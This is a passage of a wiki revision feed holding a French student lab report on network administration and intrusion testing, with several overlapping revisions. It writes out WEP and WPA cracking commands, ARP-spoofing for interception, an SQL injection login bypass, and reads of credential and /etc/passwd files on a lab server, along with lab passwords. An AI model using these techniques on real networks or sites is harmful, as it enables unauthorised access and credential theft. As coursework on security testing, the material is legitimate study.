Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55123</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55123"/>
				<updated>2020-12-21T16:57:49Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:injectionSQL.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Passwd.PNG&amp;diff=55122</id>
		<title>Fichier:Passwd.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Passwd.PNG&amp;diff=55122"/>
				<updated>2020-12-21T16:54:56Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55120</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55120"/>
				<updated>2020-12-21T16:53:04Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:injectionSQL.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
